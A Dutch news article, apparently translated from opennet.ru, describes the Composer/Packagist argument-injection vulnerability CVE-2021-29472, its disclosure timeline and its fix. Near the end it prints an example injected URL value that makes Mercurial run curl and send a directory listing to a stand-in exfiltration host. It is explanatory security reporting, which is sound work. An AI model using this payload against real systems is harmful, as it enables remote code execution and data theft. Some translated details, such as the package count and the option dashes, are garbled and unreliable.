Kwetsbaarheid in de Composer-pakketbeheerder waardoor de Packagist PHP-repository kan worden aangetast

Er is een kritieke kwetsbaarheid (CVE-2021-29472) geïdentificeerd in de Composer dependency manager, waardoor willekeurige opdrachten op het systeem kunnen worden uitgevoerd bij het verwerken van een pakket met een speciaal opgemaakte URL-waarde die het adres specificeert voor het downloaden van de broncode. Het probleem doet zich voor in de GitDriver-, SvnDriver- en HgDriver-componenten die worden gebruikt bij het gebruik van Git-, Subversion- en Mercurial-bronbeheersystemen. Het beveiligingslek is opgelost in Composer-releases 1.10.22 en 2.0.13.

Er wordt specifiek opgemerkt dat het probleem voornamelijk de standaard pakketrepository van Composer, Packagist, trof, die 306 pakketten voor PHP-ontwikkelaars bevat en meer dan 1.4 miljard downloads per maand verzorgt. Het experiment toonde aan dat als er kennis van het probleem was, aanvallers controle konden krijgen over de Packagist-infrastructuur en de inloggegevens van beheerders konden onderscheppen of pakketdownloads konden omleiden naar een server van derden, waarbij de levering van pakketvarianten met kwaadaardige wijzigingen werd georganiseerd om een ​​achterdeur te vervangen. tijdens het installatieproces van de afhankelijkheid.

Het gevaar voor eindgebruikers is beperkt tot het feit dat de inhoud van composer.json doorgaans door de gebruiker wordt bepaald en bronlinks worden verzonden bij toegang tot repository's van derden, die doorgaans betrouwbaar zijn. De grootste klap viel op de Packagist.org-repository en de Private Packagist-service, die Composer belde met de overdracht van gegevens ontvangen van gebruikers. Aanvallers konden hun code op Packagist-servers uitvoeren door een speciaal ontworpen pakket te plaatsen.

Het Packagist-team repareerde de kwetsbaarheid binnen 12 uur nadat de kwetsbaarheid werd gemeld. De onderzoekers hebben de Packagist-ontwikkelaars op 22 april privé op de hoogte gebracht en het probleem werd dezelfde dag opgelost. Op 27 april werd een openbare update voor Composer gepubliceerd waarin de kwetsbaarheid werd aangepakt, en op 28 april werden details onthuld. Een audit van logbestanden op Packagist-servers bracht geen verdachte activiteit aan het licht die verband hield met het beveiligingslek.

Het probleem wordt veroorzaakt door een bug in de URL-validatiecode in het root composer.json-bestand en de brondownloadlinks. De fout is sinds november 2011 in de code aanwezig. Packagist gebruikt speciale lagen om het laden van code te organiseren zonder gebonden te zijn aan een specifiek broncontrolesysteem, die worden uitgevoerd door "fromShellCommandline" aan te roepen en opdrachtregelargumenten door te geven. Voor git wordt bijvoorbeeld het commando "git ls-remote -heads $URL" aangeroepen, waarbij de URL wordt verwerkt met behulp van de "ProcessExecutor::escape($url)" methode, waardoor potentieel gevaarlijke constructies zoals "$(. ..)" of "` ...`".

De kern van het probleem is dat de ProcessExecutor::escape-methode niet ontsnapte aan de “—”-reeks, waardoor eventuele extra aanroepparameters in de URL konden worden opgegeven. Een dergelijke ontsnapping ontbrak in de stuurprogramma's GitDriver.php, SvnDriver.php en HgDriver.php. De aanval op GitDriver.php werd gehinderd door het feit dat het commando “git ls-remote” het specificeren van aanvullende argumenten na het pad niet ondersteunde. Een aanval op HgDriver.php bleek mogelijk door de parameter “--config” door te geven aan het hulpprogramma “hq”, waarmee je de uitvoering van elk commando kunt organiseren door de instelling “alias.identify” te manipuleren. Als u bijvoorbeeld code wilt downloaden en uitvoeren door het curl-hulpprogramma uit te voeren, kunt u het volgende opgeven: —config=alias.identify=!curl http://exfiltratie-host.tld —data “$(ls -alh)”

Door een testpakket met een vergelijkbare URL als Packagist te posten, controleerden de onderzoekers of hun server na het plaatsen een HTTP-verzoek ontving van een van de Packagist-servers in AWS met een lijst met bestanden in de huidige directory.

Bron: opennet.ru

Voeg een reactie